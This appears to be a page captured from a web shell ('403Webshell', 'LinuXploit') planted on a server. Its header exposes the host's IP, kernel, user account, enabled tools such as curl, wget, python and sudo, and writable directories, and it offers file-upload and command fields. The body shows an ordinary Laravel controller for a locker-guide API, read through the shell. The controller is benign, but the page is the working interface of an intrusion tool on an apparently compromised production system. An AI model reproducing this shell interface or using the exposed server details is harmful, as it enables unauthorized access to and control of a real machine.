403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Controllers/LockerGuideController.php
<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;
use App\Http\Services\LockerGuideService;
use App\Http\Requests\LockerGuides\ListRequest as LockerGuideListRequest;
use App\Http\Requests\LockerGuides\UploadMediaRequest as LockerGuideUploadMediaRequest;
use App\Http\Requests\LockerGuides\RemoveMediaRequest as LockerGuideRemoveRequest;
use App\Http\Requests\LockerGuides\CreateRequest as LockerGuideCreateRequest;
use App\Http\Requests\LockerGuides\UpdateRequest as LockerGuideUpdateRequest;
use App\Http\Requests\IdOnlyRequest;
use App\Http\Requests\ParamIdRequest;
use Auth;
use DB;

class LockerGuideController extends Controller
{
	public function __construct(
		LockerGuideService $lockerGuideService
	)
	{
		$this->lockerGuideService = $lockerGuideService;
	}
	
	/**
	* @OA\Get(
	*
	*	path="/api/locker-guide/list",
	*	operationId="lockerGuideList",
	*	tags={"Locker Guide"},
	*	summary="lockerGuideList",
	*	security={
	*		{
	*			"open_key": {}
	*		}
	*	},
	*	@OA\Parameter(
	*		name="search",
	*		description="search",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default=""
	*		)
	*	),
	*	@OA\Parameter(
	*		name="searchBy",
	*		description="searchBy",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default=""
	*		)
	*	),
	*	@OA\Parameter(
	*		name="sortBy",
	*		description="sortBy",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default=""
	*		)
	*	),
	*	@OA\Parameter(
	*		name="sortDesc",
	*		description="sortDesc",
	*		in="query",
	*		@OA\Schema(
	*			type="string",
	*			default="1"
	*		)
	*	),
	*	@OA\Response(
	*		response=200,
	*		description="Success",
	*		@OA\JsonContent()
	*	),
	*	@OA\Response(response=400, description="Bad request"),
	*	@OA\Response(response=404, description="Resource Not Found"),
	*	@OA\Response(response=422, description="Unprocessable Entity"),
	*	@OA\Response(response=500, description="Internal Server Error"),
	* )
	*/
	public function lockerGuideList(LockerGuideListRequest $request)
	{
		$payload = $request->validated();

		$lockers = $this->lockerGuideService->lockerGuideList( $payload );

		return self::successResponse('Success', $lockers );
	}

	public function lockerGuideMediaList(LockerGuideListRequest $request)
	{
		$payload = $request->validated();

		$result = $this->lockerGuideService->lockerGuideMediaList( $payload );

		return self::successResponse('Success', $result );
	}

	public function uploadLockerGuideMedia(LockerGuideUploadMediaRequest $request)
    {
        $result = DB::transaction(function () use ($request){
            return $this->lockerGuideService->uploadLockerGuideMedia($request->validated());
        });  

        return self::successResponse("Success",$result);
    }

    public function removeLockerGuideMedia(LockerGuideRemoveRequest $request)
    {
        $result = $this->lockerGuideService->removeLockerGuideMedia($request->validated());

        return self::successResponse("Success", $result);
    }

	public function createLockerGuide(LockerGuideCreateRequest $request)
    {
        $result = $this->lockerGuideService->createLockerGuide($request->validated());

        return self::successResponse("Success", $result);
    }

	public function updateLockerGuide(LockerGuideUpdateRequest $request)
    {
        $result = $this->lockerGuideService->updateLockerGuide($request->validated());

        return self::successResponse("Success", $result);
    }

	public function archiveLockerGuide(IdOnlyRequest $request)
    {
        $result = $this->lockerGuideService->archiveLockerGuide($request->validated());

        return self::successResponse("Success", $result);
    }

	public function getLockerGuideInfo(ParamIdRequest $request)
    {
        $result = $this->lockerGuideService->lockerGuideInfo($request->validated());

        return self::successResponse("Success", $result);
    }

	public function lockerGuideTypeList()
	{		
		$users = $this->lockerGuideService->lockerGuideTypeList();

		return self::successResponse('Success', $users);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit